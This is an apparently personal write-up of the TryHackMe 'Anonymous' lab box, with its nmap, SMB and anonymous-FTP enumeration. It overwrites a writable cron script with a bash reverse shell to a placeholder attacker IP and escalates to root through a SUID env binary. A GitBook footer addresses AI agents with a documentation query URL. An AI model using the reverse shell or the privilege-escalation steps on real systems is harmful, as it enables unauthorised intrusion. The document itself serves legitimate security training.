> For the complete documentation index, see [llms.txt](https://0xa1mn.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/linux-boxes/anonymous.md). # Anonymous ## Scanning ### Nmap ``` $ nmap -sV -sC 10.10.165.121 ​ Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-26 19:21 BST Nmap scan report for ip-10-10-165-121.eu-west-1.compute.internal (10.10.165.121) Host is up (0.0011s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable] | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.52.222 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA) | 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA) |_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (EdDSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) MAC Address: 02:7A:74:62:7F:79 (Unknown) Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel ​ Host script results: |_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: anonymous | NetBIOS computer name: ANONYMOUS\x00 | Domain name: \x00 | FQDN: anonymous |_ System time: 2021-09-26T18:21:39+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-09-26 19:21:39 |_ start_date: 1600-12-31 23:58:45 ​ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.18 seconds ​ ``` ## Enumeration ### SMB ``` $ smbclient -L //10.10.165.121/ WARNING: The "syslog" option is deprecated Enter WORKGROUP\root's password: ​ Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers pics Disk My SMB Share Directory for Pics IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu)) Reconnecting with SMB1 for workgroup listing. ​ Server Comment --------- ------- ​ Workgroup Master --------- ------- WORKGROUP ANONYMOUS ​ $ smbclient //10.10.165.121/pics WARNING: The "syslog" option is deprecated Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun May 17 12:11:34 2020 .. D 0 Thu May 14 02:59:10 2020 corgo2.jpg N 42663 Tue May 12 01:43:42 2020 puppos.jpeg N 265188 Tue May 12 01:43:42 2020 ​ 20508240 blocks of size 1024. 13306812 blocks available smb: \> mget * Get file corgo2.jpg? yes getting file \corgo2.jpg of size 42663 as corgo2.jpg (661.3 KiloBytes/sec) (average 661.3 KiloBytes/sec) Get file puppos.jpeg? yes getting file \puppos.jpeg of size 265188 as puppos.jpeg (36995.6 KiloBytes/sec) (average 4294.8 KiloBytes/sec) smb: \> exit ​ ``` after download and check metadata and any stegos no thing interesting ### FTP ftp **anonymous login** enabled ``` $ ftp 10.10.165.121 Connected to 10.10.165.121. 220 NamelessOne's FTP Server! Name (10.10.165.121:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts 226 Directory send OK. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts 226 Directory send OK. ftp> cd scripts 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh -rw-rw-r-- 1 1000 1000 1462 Sep 26 18:26 removed_files.log -rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt 226 Directory send OK. ftp> mget * mget clean.sh? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for clean.sh (314 bytes). 226 Transfer complete. 314 bytes received in 0.00 secs (5.8716 MB/s) mget removed_files.log? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for removed_files.log (1462 bytes). 226 Transfer complete. 1462 bytes received in 0.00 secs (29.0473 MB/s) mget to_do.txt? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for to_do.txt (68 bytes). 226 Transfer complete. 68 bytes received in 0.00 secs (1.5817 MB/s) ftp> exit 221 Goodbye. ``` after login and download files let's check content ``` $ cat to_do.txt I really need to disable the anonymous login...it's really not safe -------------------------------------- $ cat removed_files.log Running cleanup script: nothing to delete Running cleanup script: nothing to delete Running cleanup script: nothing to delete Running cleanup script: nothing to delete Running cleanup script: nothing to delete Running cleanup script: nothing to delete -------------------------------------- $ cat clean.sh #!/bin/bash ​ tmp_files=0 echo $tmp_files if [ $tmp_files=0 ] then echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log else for LINE in $tmp_files; do rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done fi ``` from this file we can guess what's going on this box **clean.sh** in **crontab** that's explain the content of **removed\_files.log** wait ... we have ability to write to clean.sh !! ![](/files/-MkYVhUAqPscZa8idJR_) edit the content adding reverse shell ``` #!/bin/bash bash -i >& /dev/tcp/[attacker_ip]/1234 0>&1 ``` wait awhile ... 1min ![](/files/-MkYW6WgZgUqavoPNMkA) * [x] User Shell ## Privilege Escalation ### **SUID** search for sticky bit ``` namelessone@anonymous:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null find / -uid 0 -perm -4000 -type f 2>/dev/null /snap/core/8268/bin/mount /snap/core/8268/bin/ping /snap/core/8268/bin/ping6 /snap/core/8268/bin/su /snap/core/8268/bin/umount /snap/core/8268/usr/bin/chfn /snap/core/8268/usr/bin/chsh /snap/core/8268/usr/bin/gpasswd /snap/core/8268/usr/bin/newgrp /snap/core/8268/usr/bin/passwd /snap/core/8268/usr/bin/sudo /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/8268/usr/lib/openssh/ssh-keysign /snap/core/8268/usr/lib/snapd/snap-confine /snap/core/8268/usr/sbin/pppd /snap/core/9066/bin/mount /snap/core/9066/bin/ping /snap/core/9066/bin/ping6 /snap/core/9066/bin/su /snap/core/9066/bin/umount /snap/core/9066/usr/bin/chfn /snap/core/9066/usr/bin/chsh /snap/core/9066/usr/bin/gpasswd /snap/core/9066/usr/bin/newgrp /snap/core/9066/usr/bin/passwd /snap/core/9066/usr/bin/sudo /snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/9066/usr/lib/openssh/ssh-keysign /snap/core/9066/usr/lib/snapd/snap-confine /snap/core/9066/usr/sbin/pppd /bin/umount /bin/fusermount /bin/ping /bin/mount /bin/su /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/bin/passwd /usr/bin/env /usr/bin/gpasswd /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/chsh /usr/bin/newgidmap /usr/bin/chfn /usr/bin/sudo /usr/bin/traceroute6.iputils /usr/bin/pkexec ``` `/usr/bin/env` let's escalate through� `env` ![GTFOBins](/files/-MkYWw6h64_L0ck4DjlK) ![](/files/-MkYWh77QE5rkGLPWoUL) * [x] Root Shell --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xa1mn.gitbook.io/writeups/try-hack-me-thm/linux-boxes/anonymous.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.